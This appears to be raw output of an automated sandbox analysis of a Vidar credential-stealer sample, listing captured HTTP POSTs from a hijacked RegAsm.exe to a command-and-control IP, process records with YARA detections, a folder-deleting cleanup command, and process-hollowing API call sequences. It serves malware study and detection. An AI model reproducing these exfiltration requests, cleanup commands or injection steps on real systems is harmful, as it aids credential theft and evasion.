2024-05-22 16:28:30 UTC	16355	OUT	Data Raw: 58 41 56 33 33 77 35 2f 31 4f 6f 2f 37 30 66 38 6d 72 7a 4d 32 2f 33 5a 2b 71 50 62 79 44 2f 66 46 36 4d 6d 75 66 45 30 50 68 76 77 46 70 55 76 79 76 64 79 32 55 53 77 52 48 75 64 67 35 50 73 50 2f 72 56 64 38 50 2b 4c 37 50 56 66 44 73 6d 6f 33 45 69 51 79 57 71 2f 77 43 6c 4c 2f 64 49 37 6a 32 50 62 38 71 38 55 76 64 51 75 64 51 61 45 33 45 6d 34 51 51 70 42 47 4f 79 6f 6f 77 41 4b 6c 30 6e 55 33 30 79 36 5a 73 46 37 65 5a 44 46 63 52 5a 2f 77 42 5a 47 65 6f 2b 76 63 48 73 51 4b 7a 6c 6c 55 48 54 66 38 31 37 2f 77 44 41 2f 72 71 65 72 44 4e 5a 71 6f 76 35 62 57 2f 34 50 39 64 44 33 43 35 75 34 4c 2b 58 77 2f 64 57 30 67 6b 68 6c 75 79 79 4d 4f 34 2b 7a 7a 56 77 66 6a 50 2f 41 4a 47 71 37 2b 6b 66 2f 6f 43 31 55 38 43 61 70 4d 50 45 46 6a 6f 77 6b 38 32 Data Ascii: XAV33w5/1Oo/70f8mrzM2/3Z+qPbyD/fF6MmufE0PhvwFpUvyvdy2USwRHudg5PsP/rVd8P+L7PVfDsmo3EiQyWq/wClL/dI7j2Pb8q8UvdQudQaE3Em4QQpBGOyoowAKl0nU30y6ZsF7eZDFcRZ/wBZGeo+vcHsQKzllUHTf817/wDA/rqerDNZqov5bW/4P9dD3C5u4L+Xw/dW0gkhluyyMO4+zzVwfjP/AJGq7+kf/oC1U8CapMPEFjowk82
2024-05-22 16:28:30 UTC	16355	OUT	Data Raw: 59 70 63 63 55 75 4b 58 46 4b 34 68 75 4b 4b 64 69 67 43 69 34 58 47 34 70 61 64 6a 48 61 6a 46 4b 34 58 45 41 71 31 59 44 2f 53 66 2b 32 62 35 2f 37 35 4e 56 38 56 61 73 68 2b 2f 50 2f 58 4e 2f 2f 51 54 57 64 54 34 57 53 32 63 46 4a 31 36 39 36 69 4a 39 65 4d 65 6c 53 79 48 35 6a 55 52 4e 65 6c 30 52 33 78 32 47 35 34 79 61 51 2f 68 53 6e 72 53 48 50 70 55 6c 6f 61 65 6c 4a 39 4b 58 76 53 47 6b 79 67 4e 49 61 55 6a 6a 48 36 30 68 36 31 49 78 4b 62 7a 69 6e 48 6b 66 6a 53 5a 77 63 30 68 69 48 6a 76 31 70 70 35 70 78 39 71 61 66 58 33 70 46 49 44 7a 53 48 33 37 55 74 4a 6e 69 67 59 64 65 31 4a 6a 33 35 6f 7a 6d 67 6e 33 70 41 42 4f 52 37 30 6c 4b 63 6d 6b 78 67 30 44 50 51 36 53 6c 6f 72 49 2b 53 45 70 61 4b 4b 41 45 6f 6f 6f 6f 47 46 46 46 46 49 41 6f 6f Data Ascii: YpccUuKXFK4huKKdigCi4XG4padjHajFK4XEAq1YD/Sf+2b5/75NV8Vash+/P/XN//QTWdT4WS2cFJ1696iJ9eMelSyH5jURNel0R3x2G54yaQ/hSnrSHPpUloaelJ9KXvSGkygNIaUjjH60h61IxKbzinHkfjSZwc0hiHjv1pp5px9qafX3pFIDzSH37UtJnigYde1Jj35ozmgn3pABOR70lKcmkxg0DPQ6SlorI+SEpaKKAEooooGFFFFIAoo
2024-05-22 16:28:30 UTC	16355	OUT	Data Raw: 50 79 34 64 78 55 45 35 56 74 7a 48 61 54 67 59 41 34 35 35 34 76 77 42 46 44 2f 61 62 65 2b 6d 68 54 55 58 74 4a 72 32 33 4b 72 44 62 52 42 45 63 54 53 5a 51 67 44 45 6d 54 6c 6c 36 59 7a 58 48 58 78 65 46 6e 47 31 52 58 58 39 49 39 4c 43 35 64 6a 71 63 37 30 58 5a 32 37 39 4e 2f 78 73 62 50 2f 43 58 2b 49 50 38 41 6f 4a 4e 2f 33 35 6a 2f 41 50 69 61 50 2b 45 76 38 51 66 39 42 4a 76 2b 2f 4d 66 2f 41 4d 54 58 4a 4a 71 63 55 58 68 76 54 39 64 75 57 6c 2b 79 58 55 63 75 30 52 34 44 54 79 72 49 36 68 55 79 44 67 62 55 33 4d 53 44 6a 49 37 6b 43 74 57 7a 73 74 52 75 37 7a 54 56 6a 30 37 55 70 4c 4f 36 6a 74 58 65 35 53 32 59 71 50 4d 56 53 35 44 42 64 75 46 79 65 76 54 48 4e 59 52 6c 6c 37 66 77 6e 56 4f 6e 6e 45 4e 35 76 37 2f 6b 62 48 2f 43 58 2b 49 50 2b Data Ascii: Py4dxUE5VtzHaTgYA4554vwBFD/abe+mhTUXtJr23KrDbRBEcTSZQgDEmTll6YzXHXxeFnG1RXX9I9LC5djqc70XZ279N/xsbP/CX+IP8AoJN/35j/APiaP+Ev8Qf9BJv+/Mf/AMTXJJqcUXhvT9duWl+yXUcu0R4DTyrI6hUyDgbU3MSDjI7kCtWzstRu7zTVj07UpLO6jtXe5S2YqPMVS5DBduFyevTHNYRll7fwnVOnnEN5v7/kbH/CX+IP+
2024-05-22 16:28:30 UTC	16355	OUT	Data Raw: 55 66 6e 70 6e 2b 4e 59 50 78 42 2f 77 43 52 69 68 2f 36 39 45 2f 39 44 65 76 53 36 38 30 2b 49 50 38 41 79 4d 55 50 2f 58 6f 6e 2f 6f 62 31 6a 67 4a 38 32 4b 68 6f 6c 76 38 41 6b 7a 6e 7a 6d 4e 73 42 55 31 37 66 6d 6a 6c 61 53 6c 6f 72 36 67 2b 43 45 2f 43 6a 6d 6c 6f 6f 43 34 6c 47 4b 57 6b 7a 54 41 57 6b 6f 70 4b 41 46 34 70 4b 4b 4b 51 77 6f 6f 6f 6f 43 77 55 6c 4c 53 47 67 41 6f 6f 6f 6f 41 4b 44 52 52 51 4d 53 69 69 69 67 41 70 4b 44 52 51 4d 4b 4b 4b 4b 41 45 6f 6f 6f 6f 41 4b 51 30 74 4a 51 4d 4b 4b 4b 4b 41 45 6f 6f 6f 6f 47 4a 33 6f 70 61 53 67 41 6f 6f 70 4b 42 68 52 52 53 47 67 59 55 55 55 6c 43 41 4b 44 52 53 47 6d 4d 4b 4b 4b 4b 41 45 6f 6f 6f 6f 47 49 61 4b 57 6b 6f 41 4b 53 6c 70 4b 42 68 53 55 47 69 67 61 43 6b 6f 4e 46 41 78 4b 4b 44 52 Data Ascii: Ufnpn+NYPxB/wCRih/69E/9DevS680+IP8AyMUP/Xon/ob1jgJ82Kholv8AkznzmNsBU17fmjlaSlor6g+CE/CjmlooC4lGKWkzTAWkopKAF4pKKKQwooooCwUlLSGgAooooAKDRRQMSiiigApKDRQMKKKKAEooooAKQ0tJQMKKKKAEooooGJ3opaSgAoopKBhRRSGgYUUUlCAKDRSGmMKKKKAEooooGIaKWkoAKSlpKBhSUGigaCkoNFAxKKDR
2024-05-22 16:28:30 UTC	56	OUT	Data Raw: 71 35 4a 2f 79 42 62 58 2f 72 34 6d 2f 77 44 51 59 36 41 50 2f 39 6b 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 48 43 47 43 42 4b 46 48 4a 4b 45 42 4b 46 42 46 2d 2d 0d 0a Data Ascii: q5J/yBbX/r4m/wDQY6AP/9k=------HDGDHCGCBKFHJKEBKFBF--
2024-05-22 16:28:31 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 22 May 2024 16:28:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-22 16:28:31 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49726	78.47.123.174	443	5768	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 16:28:32 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAEBFIIECBGCBGDHCAF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-05-22 16:28:32 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 30 38 64 31 65 30 30 34 37 36 33 34 35 37 62 39 61 64 66 66 61 33 62 30 61 39 33 34 36 63 39 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 32 31 62 34 35 61 34 33 32 38 38 39 61 66 36 35 61 61 30 35 63 64 36 36 39 32 30 64 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 0d 0a 43 6f 6e 74 Data Ascii: ------EBAEBFIIECBGCBGDHCAFContent-Disposition: form-data; name="token"908d1e004763457b9adffa3b0a9346c9------EBAEBFIIECBGCBGDHCAFContent-Disposition: form-data; name="build_id"c21b45a432889af65aa05cd66920d0a2------EBAEBFIIECBGCBGDHCAFCont
2024-05-22 16:28:33 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 22 May 2024 16:28:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-22 16:28:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49727	78.47.123.174	443	5768	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 16:28:33 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGIIDHJEBGIDHJJDBKE User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-05-22 16:28:33 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 30 38 64 31 65 30 30 34 37 36 33 34 35 37 62 39 61 64 66 66 61 33 62 30 61 39 33 34 36 63 39 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 32 31 62 34 35 61 34 33 32 38 38 39 61 66 36 35 61 61 30 35 63 64 36 36 39 32 30 64 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 45 0d 0a 43 6f 6e 74 Data Ascii: ------JDGIIDHJEBGIDHJJDBKEContent-Disposition: form-data; name="token"908d1e004763457b9adffa3b0a9346c9------JDGIIDHJEBGIDHJJDBKEContent-Disposition: form-data; name="build_id"c21b45a432889af65aa05cd66920d0a2------JDGIIDHJEBGIDHJJDBKECont
2024-05-22 16:28:34 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 22 May 2024 16:28:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-22 16:28:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	12:27:53
Start date:	22/05/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x130000
File size:	364'032 bytes
MD5 hash:	F4FB6B518E2E550467F533124E1F80F4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:27:53
Start date:	22/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x880000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: HiddenCobra_BANKSHOT_Gen, Description: Detects Hidden Cobra BANKSHOT trojan, Source: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation, Description: Detects executables containing potential Windows Defender anti-emulation checks, Source: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000002.00000002.2467689392.0000000000F37000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:28:35
Start date:	22/05/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\DBFCBGCGIJKJ" & exit
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:28:35
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:28:35
Start date:	22/05/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 10
Imagebase:	0xf30000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3.5%
Dynamic/Decrypted Code Coverage:	0.4%
Signature Coverage:	1.5%
Total number of Nodes:	1615
Total number of Limit Nodes:	14

Executed Functions

Function 00C4018D Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 00C402FC
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00C4030F
Wow64GetThreadContext.KERNEL32(?,00000000), ref: 00C4032D
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 00C40351
VirtualAllocEx.KERNELBASE(?,?,?,00003000,00000040), ref: 00C4037C
WriteProcessMemory.KERNELBASE(?,00000000,?,?,00000000,?), ref: 00C403D4
WriteProcessMemory.KERNELBASE(?,?,?,?,00000000,?,00000028), ref: 00C4041F
WriteProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 00C4045D
Wow64SetThreadContext.KERNEL32(?,?), ref: 00C40499
ResumeThread.KERNELBASE(?), ref: 00C404A8

Strings

GetP, xrefs: 00C4020F
ress, xrefs: 00C40217
Load, xrefs: 00C401CB
aryA, xrefs: 00C401D3

Memory Dump Source

Source File: 00000000.00000002.2051654125.0000000000C40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: GetP$Load$aryA$ress
API String ID: 2687962208-977067982
Opcode ID: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction ID: 49ecbdcd13c0b8f8d31f0baba31c277a032ca4f124ddc8e1482bfe0f1fe5557e
Opcode Fuzzy Hash: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction Fuzzy Hash: D2B1E67664024AAFDB60CF68CC80BDA77A5FF88714F158524EA1CAB341D774FA418B94

Function 0014560E Relevance: .0, Instructions: 22
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d3a586ec2da16d7fd3ee7ee03ae3402aab8ac5a3c6cbba84838bbe677f8115f
Instruction ID: 9af28f4630563cd1b13032630f3d75952d2d264d059196473a121e5e13df784b
Opcode Fuzzy Hash: 6d3a586ec2da16d7fd3ee7ee03ae3402aab8ac5a3c6cbba84838bbe677f8115f
Instruction Fuzzy Hash: C3E08C32911228EBCB25DB88C904D8AF3ECFB44B00B5200AAF501D3212C370DE00DBD0

Function 0013C35D Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c992419eee8842309e7582ba631cfc6caef1f6ffe052a819ae54955aa5ef9da
Instruction ID: 08b442c9cf4f4d1efd0abe8490a2d77f45e719aab8232e0a897874793d36aa2f
Opcode Fuzzy Hash: 4c992419eee8842309e7582ba631cfc6caef1f6ffe052a819ae54955aa5ef9da
Instruction Fuzzy Hash: 6DC08C3400090047CE29891892713A83365B3A7BC2F80048CC4030BA62CB1E9C82DB40

Function 0013F1E8 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,00000000,?,C118BA38,?,0013F2F5,?,?,00000000,00000000), ref: 0013F2A9

Strings

api-ms-, xrefs: 0013F23F
ext-ms-, xrefs: 0013F253

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 4d2c83241db5f7709d195cad77ecf1589ceb6cd69b95bcb4eec864ec59d86007
Instruction ID: 97e600d4cdb17acb2572cc645635ea72810b38c15bed59a44ab3fa112d4f14fa
Opcode Fuzzy Hash: 4d2c83241db5f7709d195cad77ecf1589ceb6cd69b95bcb4eec864ec59d86007
Instruction Fuzzy Hash: 58212C39E00210EBDF219B64EC41E9B3799AF52764F250238F905A7291DB34ED02C7D1

Function 0014C20E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42
memorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,000004AC,00001000,00000040,ole,00000000,?,?,0014C2FD), ref: 0014C222

Part of subcall function 0014C168: _Deallocate.LIBCONCRT ref: 0014C203

CreateThread.KERNELBASE(00000000,00000000,00000188,00157018,00000000,00000000), ref: 0014C256
WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000,?,?,0014C2FD), ref: 0014C262
CloseHandle.KERNEL32(00000000,?,?,0014C2FD), ref: 0014C269

Strings

ole, xrefs: 0014C211

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: AllocCloseCreateDeallocateHandleObjectSingleThreadVirtualWait
String ID: ole
API String ID: 440434604-1213916275
Opcode ID: ea9fe907fd5c4b929c5549031ee3beb061d7f73b9bba6a56361dad48b42db494
Instruction ID: 8063b708967fe925edc85136329ff571ae3f6c38760d48d88278589768335032
Opcode Fuzzy Hash: ea9fe907fd5c4b929c5549031ee3beb061d7f73b9bba6a56361dad48b42db494
Instruction Fuzzy Hash: 62F027F620111C7FD6113362BC49EBB3A1CDB47BAAF010120FA09930A2CB162D4243B5

Function 00142C21 Relevance: 7.7, APIs: 5, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__alloca_probe_16.LIBCMT ref: 00142CA8
__alloca_probe_16.LIBCMT ref: 00142D69
__freea.LIBCMT ref: 00142DD0

Part of subcall function 00142001: HeapAlloc.KERNEL32(00000000,001321BA,?,?,00135A1A,?,?,?,00000000,?,001319F6,001321BA,?,?,?,?), ref: 00142033

__freea.LIBCMT ref: 00142DE5
__freea.LIBCMT ref: 00142DF5

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 0259a6d5f026d732f2b1882758600754817abde557f0b85fbda4d1718814a9f4
Instruction ID: ac0aa534a46f5863042cdcccff39f7a3b086f08e244741700d1bb27848881d54
Opcode Fuzzy Hash: 0259a6d5f026d732f2b1882758600754817abde557f0b85fbda4d1718814a9f4
Instruction Fuzzy Hash: 6A51B3B2A00216AFEF259FA4DC81EBB7AA9EF54354F550129FD08D7120EB31DD90D7A0

Function 0013C2E9 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,0013C2E3,00000000,00138F02,?,?,C118BA38,00138F02,?), ref: 0013C2FA
TerminateProcess.KERNEL32(00000000,?,0013C2E3,00000000,00138F02,?,?,C118BA38,00138F02,?), ref: 0013C301
ExitProcess.KERNEL32 ref: 0013C313

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: b9170e18488f480dd8698259bdf4786328e6d08ada63cb50805c4544066aa787
Instruction ID: 5684e868a47dad25c99cb3e007a21f83f19e305085f050f7553d153d45a2277c
Opcode Fuzzy Hash: b9170e18488f480dd8698259bdf4786328e6d08ada63cb50805c4544066aa787
Instruction Fuzzy Hash: D9D09276000508AFCF012FB0FE0D9693F2ABF56345F058010BA0A6B431CB32D9939BC0

Function 00144F3F Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00144A6F: GetOEMCP.KERNEL32(00000000,?,?,00000000,?), ref: 00144A9A

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,00144D86,?,00000000,?,00000000,?), ref: 00144FA0
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,00144D86,?,00000000,?,00000000,?), ref: 00144FE2

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 501b0bb8c7e3416c002f3b69f0dc7b4f28f4581b2200d08ad716c20544a96771
Instruction ID: 74ec4a0eee595a6e2dc652ba0e99d664775720b2462972035849d0f54ff7c93c
Opcode Fuzzy Hash: 501b0bb8c7e3416c002f3b69f0dc7b4f28f4581b2200d08ad716c20544a96771
Instruction Fuzzy Hash: DE512674A00A455FDB20CF75C8517BAFBF6EF91304F28816EE0868B262E7759945CB90

Function 0013F682 Relevance: 3.0, APIs: 2, Instructions: 34
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

